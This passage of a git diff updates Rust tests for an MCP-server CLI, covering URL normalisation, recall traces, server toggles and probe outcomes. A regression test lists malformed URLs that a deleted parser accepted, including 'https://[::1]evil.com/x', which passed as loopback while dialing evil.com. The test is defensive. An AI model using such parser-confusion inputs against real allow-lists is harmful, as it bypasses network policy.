asserted through `io_harness::Policy`, never through a rendered //! string alone.** The policy is built the way a session builds it — @@ -20,8 +26,9 @@ //! conclusion is the failure this whole module exists to prevent. //! //! The load-bearing case is [`an_unresolvable_url_is_a_refusal_and_never_a_start`]. -//! `NetGuard::check` refuses a URL it cannot resolve (io-harness 0.69.0, -//! `src/net.rs:275-284`) before it consults the policy at all. Reading that `None` as +//! `NetGuard::check` refuses a URL it cannot resolve before it consults the policy at +//! all, and io-harness 0.71.0 writes that on `target` itself: *"If you copy this +//! function, copy the `None` handling with it: every `None` is a deny."* Reading it as //! "nothing to check, so nothing objects" is a one-character mistake that reports //! *permitted* for a server the runtime is certain to refuse — the preflight lying in //! the only direction that costs a turn. @@ -29,6 +36,7 @@ use io_cli::approval; use io_cli::preflight::{self, Outcome, Preflight}; use io_cli::settings::Posture; +use io_harness::net::target; use io_harness::{Act, Config, Effect, McpServer, Policy, Rule}; /// A stdio server named `id` spawning `command`. @@ -51,7 +59,9 @@ fn remembered(act: Act, effect: Effect, pattern: &str) -> Rule { } // --------------------------------------------------------------------------- -// The normaliser. One assertion per line of the function it copies. +// The normaliser. One assertion per line of the contract io-cli depends on — +// it is io-harness's function now, not a copy, and these are the properties +// this crate would be wrong without. // --------------------------------------------------------------------------- /// The port is filled from the scheme, and all four schemes that reach a host are @@ -60,19 +70,19 @@ fn remembered(act: Act, effect: Effect, pattern: &str) -> Rule { #[test] fn target_fills_the_port_from_the_scheme() { assert_eq!( - preflight::target("https://mcp.example.com").as_deref(), + target("https://mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("http://mcp.example.com").as_deref(), + target("http://mcp.example.com").as_deref(), Some("mcp.example.com:80"), ); assert_eq!( - preflight::target("wss://mcp.example.com").as_deref(), + target("wss://mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("ws://mcp.example.com").as_deref(), + target("ws://mcp.example.com").as_deref(), Some("mcp.example.com:80"), ); } @@ -83,11 +93,11 @@ fn target_fills_the_port_from_the_scheme() { #[test] fn target_keeps_a_port_the_url_states() { assert_eq!( - preflight::target("https://mcp.example.com:8443").as_deref(), + target("https://mcp.example.com:8443").as_deref(), Some("mcp.example.com:8443"), ); assert_eq!( - preflight::target("http://127.0.0.1:3000/mcp").as_deref(), + target("http://127.0.0.1:3000/mcp").as_deref(), Some("127.0.0.1:3000"), ); } @@ -103,7 +113,7 @@ fn target_stops_at_the_path_the_query_and_the_fragment() { "https://mcp.example.com#frag", ] { assert_eq!( - preflight::target(url).as_deref(), + target(url).as_deref(), Some("mcp.example.com:443"), "the authority ends before the first `/`, `?` or `#`: {url}", ); @@ -116,11 +126,11 @@ fn target_stops_at_the_path_the_query_and_the_fragment() { #[test] fn target_drops_the_userinfo() { assert_eq!( - preflight::target("https://user:pw@mcp.example.com/mcp").as_deref(), + target("https://user:pw@mcp.example.com/mcp").as_deref(), Some("mcp.example.com:443"), ); assert_eq!( - preflight::target("https://token@mcp.example.com").as_deref(), + target("https://token@mcp.example.com").as_deref(), Some("mcp.example.com:443"), ); } @@ -130,16 +140,13 @@ fn target_drops_the_userinfo() { /// port `1`. #[test] fn target_keeps_the_brackets_on_an_ipv6_literal() { + assert_eq!(target("https://[::1]").as_deref(), Some("[::1]:443")); assert_eq!( - preflight::target("https://[::1]").as_deref(), - Some("[::1]:443") - ); - assert_eq!( - preflight::target("http://[::1]:8080/mcp").as_deref(), + target("http://[::1]:8080/mcp").as_deref(), Some("[::1]:8080"), ); assert_eq!( - preflight::target("https://[2001:db8::1]").as_deref(), + target("https://[2001:db8::1]").as_deref(), Some("[2001:db8::1]:443"), ); } @@ -156,7 +163,7 @@ fn target_refuses_a_scheme_that_never_dials() { "HTTPX://mcp.example.com", ] { assert_eq!( - preflight::target(url), + target(url), None, "only http, https, ws and wss resolve to a host: {url}", ); @@ -177,10 +184,96 @@ fn target_refuses_input_with_no_authority() { "https://?q=1", "https://:443", ] { - assert_eq!(preflight::target(url), None, "there is no host in {url:?}"); + assert_eq!(target(url), None, "there is no host in {url:?}"); + } +} + +/// **The five shapes io-cli's deleted copy failed open on.** +/// +/// Every one of these came back `Some` from the copy this crate carried until 0.30.0, +/// and a `Some` is a target a permissive policy may then allow. They are listed with +/// the wrong answer each used to give, because the wrong answer is the point: four of +/// them invent a host out of nothing, and the fifth substitutes a *different* host than +/// the one the URL dials. +/// +/// `https://[::1]evil.com/x` is the one that matters most. The bracket branch found the +/// closing `]` at index 4, took `[::1]` as the host, and dropped `evil.com` on the floor +/// — so the preflight reported "permitted, `[::1]:443`" for a URL that connects to +/// `evil.com`, and an operator who had allowed loopback would have been told their own +/// rule covered it. +/// +/// This test is the guard that was missing. The case table beside it enumerated seven +/// refusals and contained none of these, which is how a copy documented as able to +/// "drift silently" drifted for two releases without a single red test. +#[test] +fn target_refuses_the_five_shapes_the_deleted_copy_allowed() { + for (url, used_to_return) in [ + ("https://user@/x", ":443"), + ("https://[]/x", "[]:443"), + ("https://[::1]:/x", "[::1]:443"), + ("https://[::1]evil.com/x", "[::1]:443"), + ("https://[/x", "[:443"), + ] { + assert_eq!( + target(url), + None, + "{url:?} must be a refusal; io-cli's deleted copy answered {used_to_return:?}, \ + and a Some here is a target a policy can allow", + ); } } +/// **io-cli defines no normaliser of its own, and this is the only thing that can +/// fail if it grows one back.** +/// +/// The five-shape test above asserts against `io_harness::net::target` — so it +/// would go on passing if somebody reintroduced a private copy in `src/preflight.rs` +/// and pointed `check` at it. That is a sabotage arm with nowhere to run, which is +/// this product's recorded failure mode for a criterion nobody is actually +/// checking, and the reason this gate reads the source as text: the property is +/// *absence*, and absence has no call site to assert on. +/// +/// Sabotage: put `fn target` back into `src/preflight.rs`. Only this fails. +#[test] +fn preflight_defines_no_normaliser_of_its_own() { + let source = std::fs::read_to_string("src/preflight.rs").expect("the module"); + let code: String = source + .lines() + .filter(|line| !line.trim_start().starts_with("//")) + .collect::>() + .join("\n"); + + assert!( + !code.contains("fn target"), + "`src/preflight.rs` defines a URL normaliser again. The copy it carried \ + until 0.30.0 failed open on five shapes, including one that discarded the \ + real host and reported a policy match for it — and the case table beside \ + it enumerated seven refusals without containing any of the five. The only \ + correct behaviour is io-harness's own function.", + ); + assert!( + code.contains("use io_harness::net::target;"), + "the preflight no longer reaches io-harness's normaliser", + ); +} + +/// The bracketless twin of `https://[::1]:/x` was always refused, and that asymmetry is +/// what made the IPv6 branch's bug invisible: the same shape, spelled two ways, gave two +/// answers. Asserted together so neither can regress alone. +#[test] +fn an_empty_port_is_refused_in_both_spellings() { + assert_eq!( + target("https://host:/x"), + None, + "bracketless, always refused" + ); + assert_eq!( + target("https://[::1]:/x"), + None, + "bracketed, refused only since io-harness 0.71.0", + ); +} + // --------------------------------------------------------------------------- // The verdict. // --------------------------------------------------------------------------- diff --git a/tests/recall.rs b/tests/recall.rs index 9638ee2..f2182eb 100644 --- a/tests/recall.rs +++ b/tests/recall.rs @@ -569,6 +569,189 @@ async fn f8_eviction_refusal_and_recall_are_read_from_the_trace() { view.trace.iter().any(|n| n.happened == Happened::Recalled), "the second run recalled too", ); + + // --- 0.30.0 F6: the same three, through `view`, for a real run id -------- + // + // Not a second fixture. Producing a genuine eviction, a genuine refusal and a + // genuine recall costs two scripted turns of io-harness's own run loop, and + // this test has already paid for them — so the criterion that `View::trace` + // carries all three for a run that produced them is asserted here, against the + // run that produced them. + let ran = + recall::view(&store, workspace.path(), &task, Some(first.run_id)).expect("the view reads"); + assert!( + !ran.trace.is_empty(), + "SABOTAGE: this is the arm that reddens when the caller goes back to \ + passing `None`, which is what io-cli shipped through 0.29.0 — an empty \ + trace beside a store that had been evicting, refusing and recalling all \ + along", + ); + for expected in [Happened::Evicted, Happened::Refused, Happened::Recalled] { + assert!( + ran.trace.iter().any(|note| note.happened == expected), + "the run {expected:?} something and the view does not say so; \ + `View::trace` is the only place any of the three exists, because \ + io-harness emits no `EventKind` for them", + ); + } + assert!( + details(&ran.trace, Happened::Evicted)[0].contains("beta"), + "io-harness's own sentence rides through the view and not only through \ + `trace` — a page that said a note had been dropped without naming which \ + one would be telling an operator to go and look for it", + ); + + // The shipped behaviour, stated rather than assumed: `None` really is empty, + // so the assertion above is a test of the run id reaching the call and not of + // the fixture being lively. + assert!( + recall::view(&store, workspace.path(), &task, None) + .expect("the view reads") + .trace + .is_empty(), + "`None` is a view with no trace, deliberately — which is exactly why the \ + driver passing it made the whole trace half of this module unreachable", + ); + + assert_eq!( + [Happened::Evicted, Happened::Refused, Happened::Recalled].map(Happened::label), + ["evicted", "refused", "recalled"], + "each has a word, and it is `refused` rather than `failed`: the write did \ + not fail, io-harness declined it because an operator had pinned the entry \ + — which is the pin working. A reader told it failed goes looking for a \ + broken store.", + ); +} + +// --------------------------------------------------------------------------- +// 0.30.0 F5 and F6 — the driver gates +// +// **The `f6_` and `f8_` tests above are 0.29.0's criteria and are not these.** +// Criteria are numbered per release, so the two tests below carry the release in +// their names and nothing else in this file does. +// +// Both criteria assert something about `src/main.rs`, which nothing under +// `tests/` links: `[[bin]] name = "io"` is a separate compilation and a test +// binary cannot call into it. The established answer in this repository is a +// driver-text gate — see `tests/contract.rs:303`, `:336`, `:369` and +// `tests/context_share.rs:526` — and it is weak in exactly one way, which is why +// the comments come off first. +// --------------------------------------------------------------------------- + +/// `src/main.rs`, with every comment taken off before anything is matched. +/// +/// **Copied from `tests/structure.rs:137` rather than shared, because a test +/// binary cannot import another's helper**, and the reason it exists is worth +/// repeating: 0.14.0 shipped a gate that asserted the driver contained +/// `EventKind::Dialed` and was satisfied by a *comment* naming it — a green test +/// over code that had none of it. Every patch these two gates are written against +/// carries a paragraph of prose naming the very calls they assert on, so without +/// the stripping they would pass on the prose alone. +fn driver_without_comments() -> String { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("src/main.rs"); + let text = std::fs::read_to_string(path).expect("the driver is readable"); + text.lines() + .map(|line| match line.find("//") { + Some(at) => &line[..at], + None => line, + }) + .collect::>() + .join("\n") +} + +/// **0.30.0 F5 — a forgotten agent memory is restored.** +/// +/// `recall::forget` has returned a restore id since 0.29.0 and `recall::unforget` +/// has been able to spend one for just as long. Nothing in `src/` ever did: +/// `commands::forgotten_said` formatted the id into a sentence — *run 42 holds the +/// way back* — and the id then went out of scope. The operator was told there was +/// a way back and given no way to take it, which is worse than not offering one. +/// +/// Counted rather than `contains`, which is this suite's recorded vacuous-gate +/// shape: one call satisfies a `contains` forever, so it could never catch the +/// site going missing again. +/// +/// Sabotage: drop the call site and keep `tests/recall.rs`'s +/// `f7_forgetting_removes_the_entry_and_leaves_a_way_back`, which drives +/// `recall::unforget` for real and would stay green over a function no keystroke +/// reaches — which is precisely the tested-but-uncalled shape this product has now +/// shipped in more than one release. +#[test] +fn v0_30_0_f5_the_driver_spends_the_restore_id_rather_than_only_printing_it() { + let text = driver_without_comments(); + // **Whitespace-collapsed before the pattern match, and that is not a + // weakening.** `rustfmt` decides where a pattern breaks across lines from the + // indent it happens to sit at, so a gate matching the source bytes of a + // destructuring asserts the formatter's arithmetic as much as the code's + // meaning — it goes red when somebody wraps an unrelated block one level + // deeper. What is being asserted is that the driver destructures the id out of + // `forget`'s own answer, and that survives collapsing runs of whitespace to + // one space. + let flat = text.split_whitespace().collect::>().join(" "); + + assert_eq!( + text.matches("io_cli::recall::unforget(").count(), + 1, + "exactly one keystroke puts a withdrawn note back, and it is in code \ + rather than in a sentence about code", + ); + assert!( + flat.contains("io_cli::recall::Forgotten::Removed { restore, } = outcome") + || flat.contains("io_cli::recall::Forgotten::Removed { restore } = outcome"), + "the id is the one `recall::forget` just answered with and never a run id \ + found some other way — `recall::forget`'s own note gives the two \ + plausible wrong ids and what each of them restores instead", + ); + assert!( + text.contains("Pick::Unforget {"), + "and it is spent through a confirmation rather than immediately: the \ + operator asked to forget the note, so putting it back is a second \ + question and `store::acts` decides it the way it decides every other \ + one — row 0 declines", + ); +} + +/// **0.30.0 F6 — `/memory` shows what the store recorded about the run.** +/// +/// The library side has been right since 0.29.0 and unreachable for just as long: +/// `recall::view`'s `run` parameter is an `Option` and the one caller in +/// `src/main.rs` passed `None`, so `View::trace` was empty in production, and +/// `recall::trace`, `Happened` and `Noted` were reachable from `tests/recall.rs` +/// and from nowhere an operator could stand. +/// +/// **The `None` is the shipped behaviour, so this gate is red before the driver is +/// wired and green after** — it is not a description of what the driver already +/// does. The first assertion is the criterion's named sabotage written out: put +/// `None` back and it fails on its own, without the other two. +#[test] +fn v0_30_0_f6_the_driver_reads_the_trace_of_the_run_the_session_just_ran() { + let text = driver_without_comments(); + + assert!( + !text.contains("&opening, None)"), + "SABOTAGE: `recall::view(.., &opening, None)` is what shipped, and it is \ + the whole defect — every eviction, refusal and recall the store holds is \ + read by a function the operator can never reach", + ); + assert!( + text.contains("io_cli::recall::view(&store, &root, &opening, ran)"), + "the run id reaches the view, and it is the session's own last turn: \ + `last_run` is the same anchor `/undo`, `/export` and the gate report \ + already take, so `/memory` cannot be looking at a different run from the \ + rest of the surface", + ); + assert!( + text.contains("last_run(&session, &store).map(|turn| turn.run_id)"), + "read from the session's transcript rather than carried in a variable \ + that a resumed or forked session would have left stale", + ); + assert!( + text.contains("io_cli::commands::trace_notes("), + "and the rows are drawn — a `View::trace` that is populated and never \ + rendered is the same defect one layer up, and the sentence lives in \ + `io_cli::commands` because nothing under `tests/` can drive one written \ + in the driver", + ); } // --------------------------------------------------------------------------- diff --git a/tests/servers.rs b/tests/servers.rs index 0c0c57d..9cea603 100644 --- a/tests/servers.rs +++ b/tests/servers.rs @@ -710,18 +710,18 @@ fn f6_a_key_no_mcp_entry_carries_is_refused_rather_than_written() { // happen here. let at = At::of(Scope::User, TWO_SERVERS, "docs").expect("the fixture names `docs`"); assert!(servers::edit(&at, "comand", "\"mcp-find\"").is_none()); - // **`enabled` is refused, and the reason changed under this assertion.** - // Until io-harness 0.70.0 there was no such key, and writing one would have - // been accepted by the file and ignored by the harness. There is one now, it - // is honoured, and `servers::servers` reads it — but writing it is 0.30.0's - // verb, along with the plugin one and the probe. So the refusal stands and - // its reason is no longer "no such key" but "not this release's verb": a - // surface that could switch a server off has to be able to switch it back on, - // and `KEYS` is what the panel offers rather than what the type has. + // **`enabled` is accepted, and this assertion was the opposite one release + // ago.** 0.29.0 refused it and said why: the key was real and honoured, but the + // release shipped no way to switch a server back on, and half a toggle is worse + // than none. 0.30.0 ships both halves — `servers::switch`, `mcp enable`, + // `mcp disable` and the `/mcp` keystroke — so the name is in `KEYS` and the + // refusal it was standing in for is gone. **The list gained one name; the check + // did not move**, which is what the `comand` assertion above still measures. assert!( - servers::edit(&at, "enabled", "false").is_none(), - "`enabled` is not in `KEYS`, so the panel does not write it; 0.29.0 reads \ - and reports the state and 0.30.0 adds the verb", + servers::edit(&at, "enabled", "false").is_some(), + "`enabled` is io-harness's own key, honoured before a server is spawned, \ + and 0.30.0 has both halves of the verb — refusing it now leaves an \ + operator able to see a switched-off server and unable to switch one", ); assert!(servers::edit(&at, "command", "\"mcp-find\"").is_some()); for key in servers::KEYS { diff --git a/tests/servers_enabled.rs b/tests/servers_enabled.rs index 04b8d4d..6678d24 100644 --- a/tests/servers_enabled.rs +++ b/tests/servers_enabled.rs @@ -12,21 +12,32 @@ //! and `src/servers.rs`'s own module docs argued it could not happen, in three //! clauses that io-harness 0.70.0 had already falsified. //! -//! Nothing in this crate writes `enabled` into an `[[mcp]]` table. What reaches -//! this state is a file somebody hand-edited or a repository they cloned, which is -//! exactly the case a listing exists to explain: every turn runs without those -//! tools, and without this the operator has nowhere to look. +//! **0.30.0 writes it as well as reads it**, and the second half of this file is +//! about that write: `servers::switch`, the one edit `io mcp disable `, `io mcp +//! enable ` and the `/mcp` keystroke all build; the sentence it costs an older +//! binary, which is not the sentence the `[[plugin]]` key costs; and +//! `servers::probe`, which asks io-harness to go and try the server rather than +//! asking the policy what it would say. //! //! A separate file from `tests/servers.rs` because that one is the 0.28.0 //! management surface and this is a property of the pin. -use io_cli::servers::{self, Observed, Reached}; -use io_harness::Config; +use io_cli::servers::{self, At, Observed, Reached}; +use io_harness::config::Scope; +use io_harness::{Config, McpProbe, Policy}; /// One server switched off, one left alone, in the order the file names them. -fn mixed() -> Config { - Config::from_toml( - "\ +/// +/// The bytes as well as the parsed configuration, because half of this file is +/// about a *write*: `servers::At` addresses an entry by finding its id in the +/// file's own text, so a test of the write has to hold the text. +/// +/// `mcp-docs` and `mcp-search` are commands that do not exist on any machine this +/// runs on, which is load-bearing in the probe tests below: a disabled server that +/// io-harness answered `Disabled` for was never spawned, and one it tried to spawn +/// answers `NotStarted`. The two are distinguishable precisely because the command +/// is not real. +const MIXED: &str = "\ [[mcp]] id = \"docs\" transport = \"stdio\" @@ -37,9 +48,15 @@ enabled = false id = \"search\" transport = \"stdio\" command = \"mcp-search\" -", - ) - .expect("the fixture parses") +"; + +fn mixed() -> Config { + Config::from_toml(MIXED).expect("the fixture parses") +} + +/// Where `MIXED` declares one of its two servers. +fn at(id: &str) -> At { + At::of(Scope::User, MIXED, id).unwrap_or_else(|| panic!("the fixture names `{id}`")) } /// **The state reaches `Server`, and an absent key still means on.** @@ -147,3 +164,419 @@ fn a_switched_off_server_is_still_located_in_the_file_that_declares_it() { separately from the file's instruction", ); } + +/// **F10 — switching a server off leaves the entry, and every other key of it.** +/// +/// The criterion in one test: after the write the `[[mcp]]` entry still exists, its +/// every other key is unchanged, `servers` and `rows` both report it off, and the +/// file reads back as io-harness's own [`io_harness::McpServer`] — which is the +/// only check that a `[[mcp]]` write really landed, since that section is exempt +/// from `deny_unknown_fields` and a key the harness ignores parses perfectly. +/// +/// Sabotage: implement disable as `servers::remove`. The entry-still-exists +/// assertion is the first thing to go, and the `mcp_servers()` length assertion +/// after it says which entry was lost. +#[test] +fn f10_a_server_is_switched_off_without_being_taken_out_of_the_file() { + let after = io_cli::edit::apply(MIXED, &[servers::switch(&at("search"), false)]) + .expect("the write parses back"); + + // The entry is still there, and so is everything that made it a server. + assert!( + after.contains("id = \"search\""), + "the entry was taken away rather than switched off: {after}", + ); + assert!( + after.contains("command = \"mcp-search\""), + "the command went with the switch: {after}", + ); + assert!( + after.contains("transport = \"stdio\""), + "the transport went with the switch: {after}", + ); + // And the neighbour is untouched, which is what stops this passing on a + // rewrite-the-whole-file implementation. + assert!(after.contains("command = \"mcp-docs\"")); + + let config = Config::from_toml(&after).expect("the written file loads"); + assert_eq!( + config.mcp_servers().len(), + 2, + "both servers are still declared; a disable that removes is a remove", + ); + + let list = servers::servers(&config, &Observed::default()); + for server in &list { + assert!( + !server.enabled, + "`{}` is still reported as running after both were switched off", + server.id, + ); + } + // The panel says so too, on the row that was on a moment ago. + let rows = servers::rows(&list); + let row = rows + .iter() + .find(|row| row.label == "search") + .expect("a row per configured server"); + assert!( + row.detail + .as_deref() + .is_some_and(|detail| detail.contains(servers::DISABLED)), + "the row for the server just switched off does not say so: {:?}", + row.detail, + ); +} + +/// **F10 — and it switches back on, which is the half 0.29.0 could not ship.** +/// +/// `switch(.., true)` over the entry `MIXED` declares off, read back through +/// io-harness. A toggle that only goes one way is what the 0.29.0 refusal in +/// `tests/servers.rs` was standing in for. +#[test] +fn f10_a_server_switched_off_in_the_file_is_switched_back_on() { + let after = io_cli::edit::apply(MIXED, &[servers::switch(&at("docs"), true)]) + .expect("the write parses back"); + let config = Config::from_toml(&after).expect("the written file loads"); + let docs = servers::servers(&config, &Observed::default()) + .into_iter() + .find(|server| server.id == "docs") + .expect("the entry is still declared"); + assert!( + docs.enabled, + "`enabled = false` was not replaced, so the way back on does not exist", + ); + + // A boolean and not a string. `enabled = "true"` parses as TOML and io-harness + // refuses it — which `configure::write`'s round trip would catch, at the cost + // of an operator being told their toggle is broken. + assert!( + after.contains("enabled = true"), + "the value must be a TOML boolean: {after}", + ); +} + +/// **F10's second sabotage — `KEYS` gained one name and the check did not move.** +/// +/// The refusal exists because `[[mcp]]` is one of two sections io-harness exempts +/// from `deny_unknown_fields`: a misspelled key is spliced in, accepted on +/// `configure::write`'s round trip, reported to the operator as written, and +/// ignored by every turn after it. Widening `servers::edit` to accept any key — +/// rather than listing `enabled` — would look like the same change and would put +/// that back. +/// +/// Sabotage: replace the `KEYS.contains` guard with an unconditional `Some`. The +/// two assertions below on `comand` and `enbled` fail. +#[test] +fn f10_widening_keys_by_one_name_did_not_widen_the_check() { + let docs = at("docs"); + assert!( + servers::KEYS.contains(&"enabled"), + "the criterion names `enabled` in `KEYS` and it is not there", + ); + assert!( + servers::edit(&docs, "enabled", "false").is_some(), + "the listed name is refused, so the verb has no writer", + ); + assert!( + servers::edit(&docs, "comand", "\"mcp-find\"").is_none(), + "a typo'd key is accepted, and io-harness will not complain about it either", + ); + assert!( + servers::edit(&docs, "enbled", "false").is_none(), + "a near-miss on the very key this release added is written and ignored — \ + the server would go on running while the operator was told it stopped", + ); +} + +/// **F12 — the two `enabled` writes cost an older binary opposite things.** +/// +/// A `[[plugin]]` entry carrying `enabled` makes an io-cli built against io-harness +/// 0.69.0 refuse the **whole configuration file**: every setting in it, loudly, at +/// startup. The same key in an `[[mcp]]` entry is **ignored** by that binary, and +/// the server the operator switched off starts and runs with nothing said. +/// +/// The second is the dangerous one, and an operator who has met the first will +/// assume the second behaves the same way. One constant for both would be that +/// assumption written down. +/// +/// Sabotage: `pub use crate::pluginview::OLDER_BINARY` for the MCP side, or paste +/// the plugin sentence into `servers::OLDER_BINARY`. The inequality fails first, +/// and the word assertions say which half went missing. +#[test] +fn f12_the_two_older_binary_sentences_are_not_the_same_sentence() { + let plugin = io_cli::pluginview::OLDER_BINARY; + let server = servers::OLDER_BINARY; + assert_ne!( + plugin, server, + "one sentence for two opposite costs tells the operator on the silent path \ + that they will notice", + ); + + assert!( + plugin.contains("[[plugin]]") && plugin.contains("refuses"), + "the plugin sentence must say the whole file is refused: {plugin}", + ); + assert!( + server.contains("[[mcp]]") && server.contains("ignores"), + "the MCP sentence must say the key is ignored: {server}", + ); + assert!( + server.contains("anyway") || server.contains("starts the server"), + "the MCP sentence must say the server runs regardless, which is the cost: \ + {server}", + ); + // And neither is a copy of the other's claim: a plugin sentence that said + // "ignores" would be wrong about the loud case, which is the direction that + // makes an operator distrust the warning entirely. + assert!( + !plugin.contains("ignores the key"), + "the plugin sentence claims the quiet behaviour: {plugin}", + ); +} + +/// **F13 — six outcomes, six sentences, and the sixth is the one nobody can build.** +/// +/// Five of `McpProbe`'s variants can be constructed here. The sixth cannot exist +/// yet — it is whatever a later io-harness adds behind `#[non_exhaustive]` — so it +/// is asserted through `servers::UNMODELLED`, the string the `_` arm renders: no +/// known variant may produce it, and it may not produce any known variant's words. +/// +/// Sabotage: collapse `Disabled` into `NotStarted`. The disabled sentence stops +/// naming the file's instruction and the pairwise-distinct assertion fails on that +/// pair. Second sabotage: drop the `_` arm and let a catch-all name a known state — +/// whichever variant the catch-all swallowed loses its own sentence below. +#[test] +fn f13_every_probe_outcome_is_its_own_sentence() { + let disabled = servers::probed("docs", &McpProbe::Disabled); + let refused = servers::probed( + "docs", + &McpProbe::Refused { + act: "exec".to_string(), + target: "mcp-docs".to_string(), + rule: Some("mcp-*".to_string()), + layer: Some("project".to_string()), + }, + ); + let not_started = servers::probed( + "docs", + &McpProbe::NotStarted { + reason: "could not spawn mcp-docs: No such file or directory".to_string(), + }, + ); + let unreachable = servers::probed( + "docs", + &McpProbe::Unreachable { + reason: "connection reset".to_string(), + }, + ); + let timed_out = servers::probed("docs", &McpProbe::TimedOut { secs: 60 }); + let answered = servers::probed( + "docs", + &McpProbe::Answered { + tools: vec![ + "mcp__docs__search".to_string(), + "mcp__docs__fetch".to_string(), + ], + }, + ); + + // A switched-off server reports the instruction, not a failure to start. + assert!( + disabled.contains(servers::DISABLED), + "a disabled server must be reported as disabled: {disabled}", + ); + assert!( + !disabled.contains("did not start"), + "`Disabled` is rendered as a failed spawn, which sends the operator to fix \ + a command that was never run: {disabled}", + ); + + // All four fields of a refusal, because `act`/`target` and `rule`/`layer` are + // two different repairs — add an allow, or remove a deny. + for wanted in ["exec", "mcp-docs", "mcp-*", "project"] { + assert!( + refused.contains(wanted), + "a refusal must name {wanted}: {refused}", + ); + } + + assert!( + not_started.contains("No such file or directory"), + "the spawn failure is what tells the operator the path is wrong: \ + {not_started}", + ); + assert!( + unreachable.contains("connection reset"), + "the transport's own words are the only thing that locates this: \ + {unreachable}", + ); + assert!( + timed_out.contains("60"), + "the bound that was exceeded is the number to change: {timed_out}", + ); + // The namespaced names, which are what the model sees and what a policy rule + // can name. The bare `search` appears nowhere a rule could match it. + assert!( + answered.contains("mcp__docs__search") && answered.contains("mcp__docs__fetch"), + "an answering server lists the namespaced tools io-harness returned: \ + {answered}", + ); + + // Six sentences, pairwise. The `_` arm's is included: it stands for the + // outcome no test can construct, and the only thing that can be asserted about + // it is that it is nobody else's sentence. + let unknown = format!("`docs`: {}", servers::UNMODELLED); + let all = [ + ("disabled", &disabled), + ("refused", &refused), + ("not started", ¬_started), + ("unreachable", &unreachable), + ("timed out", &timed_out), + ("answered", &answered), + ("unmodelled", &unknown), + ]; + for (i, (left_name, left)) in all.iter().enumerate() { + for (right_name, right) in all.iter().skip(i + 1) { + assert_ne!( + left, right, + "{left_name} and {right_name} render the same sentence, so the \ + repair an operator goes off to make is a coin toss", + ); + } + } + // And no known outcome renders as the unknown one, which is the other half of + // the `_` arm being honest. + for (name, line) in all.iter().take(6) { + assert!( + !line.contains(servers::UNMODELLED), + "{name} is reported as a state this build does not model: {line}", + ); + } +} + +/// **F13's second arm, which had nowhere to run until this.** +/// +/// The criterion's named sabotage is *"drop the `_` arm and match the five known +/// variants with a catch-all that names one of them"*. Executing it killed +/// **nothing**: `McpProbe` is `#[non_exhaustive]` and belongs to another crate, so +/// no test can construct a variant this build does not know, and the arm is +/// therefore unreachable from every behavioural assertion in this file — the one +/// above builds its expected string from `servers::UNMODELLED` by hand for exactly +/// that reason. +/// +/// A criterion whose sabotage has no site is a criterion nobody is checking. The +/// property here is about a branch that cannot be entered, so the only instrument +/// left is the source, read as text — the same answer this product already gives +/// for `src/main.rs`. +/// +/// Sabotage: point the catch-all at any known state's sentence. Only this fails. +#[test] +fn f13_the_catch_all_names_no_state_this_build_knows() { + let source = std::fs::read_to_string("src/servers.rs").expect("the module"); + let code: String = source + .lines() + .filter(|line| !line.trim_start().starts_with("//")) + .collect::>() + .join("\n"); + let flat = code.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("_ => format!(\"`{id}`: {UNMODELLED}\")"), + "`servers::probed`'s catch-all no longer renders `UNMODELLED`. A newer \ + io-harness reporting a state this build does not model would be described \ + to the operator as one it does, and the repair they go off to make would \ + be for a problem they do not have.", + ); +} + +/// **F13 — a disabled server is probed without being started.** +/// +/// This is the one probe assertion that reaches `io_harness::probe_mcp` for real, +/// and it is safe to run anywhere because the whole point is that nothing is +/// spawned: io-harness answers `Disabled` before it looks at the transport. The +/// fixture's command does not exist, so an implementation that spawned first would +/// come back `NotStarted` and this fails by name. +#[tokio::test] +async fn f13_a_disabled_server_is_probed_without_a_process_being_started() { + let config = mixed(); + let policy = Policy::default().layer("test").allow_exec("*"); + + let probe = servers::probe(&config, "docs", &policy) + .await + .expect("the fixture declares `docs`"); + assert_eq!( + probe, + McpProbe::Disabled, + "a switched-off server was started, or the answer was reported as \ + something else", + ); + + // An id nothing declares is the one thing `probe_mcp` cannot have an opinion + // about, so it is this crate's refusal — and it names the verb that lists them. + let refusal = servers::probe(&config, "never-configured", &policy) + .await + .expect_err("no file declares it"); + assert!( + refusal.contains("never-configured") && refusal.contains("mcp list"), + "the refusal has to say which id and where to look: {refusal}", + ); +} + +/// **F14 — a probe is never confused with the observation beside it.** +/// +/// `Reached::NotYet` is documented as *not a failure*: it is the state every server +/// is in before the first turn. `McpProbe::Unreachable` is io-cli having gone and +/// looked and got nothing. Rendering one in the other's words would turn a fresh +/// session into a wall of faults, or a real fault into "nothing has called it yet". +/// +/// Sabotage: render `NotYet` with the probe's unreachable string, or the reverse. +/// The two containment assertions fail in whichever direction the words were +/// copied. +#[tokio::test] +async fn f14_a_probe_and_a_state_nobody_reached_are_different_words() { + let list = servers::servers(&mixed(), &Observed::default()); + let rows = servers::rows(&list); + let not_yet = rows + .iter() + .find(|row| row.label == "search") + .and_then(|row| row.detail.clone()) + .expect("the server that is on draws a row"); + assert!( + not_yet.contains("not reached"), + "the passive state's own words moved: {not_yet}", + ); + + let unreachable = servers::probed( + "search", + &McpProbe::Unreachable { + reason: "connection reset".to_string(), + }, + ); + assert!( + !unreachable.contains("not reached"), + "a probe that went and looked is reported as a server nobody has called: \ + {unreachable}", + ); + assert!( + !not_yet.contains("did not answer"), + "a server nobody has called this session is reported as one that failed to \ + answer: {not_yet}", + ); + + // **And a probe writes nothing into `Observed`.** The signature is the real + // guarantee — `probe` takes no `&mut Observed` — and this is the behavioural + // half of it: a probe happened, and the panel still says nobody has called the + // server, because no turn has. + let config = mixed(); + let observed = Observed::default(); + let policy = Policy::default().layer("test").allow_exec("*"); + let _ = servers::probe(&config, "docs", &policy) + .await + .expect("the fixture declares `docs`"); + assert_eq!( + observed.of("docs"), + Reached::NotYet, + "a probe put its own result under a heading that says a turn produced it", + ); +} diff --git a/tests/skillview.rs b/tests/skillview.rs index 93cdfb4..d382fab 100644 --- a/tests/skillview.rs +++ b/tests/skillview.rs @@ -872,3 +872,260 @@ fn enable_is_refused_on_a_bundle_skill_and_leaves_the_bundle_untouched() { skillview::enable(&parked, std::slice::from_ref(&plug)).expect("and back again"); assert!(ours.exists()); } + +// --------------------------------------------------------------------------- +// 0.30.0 F1, F2, F3 — a skill arrives and leaves. +// 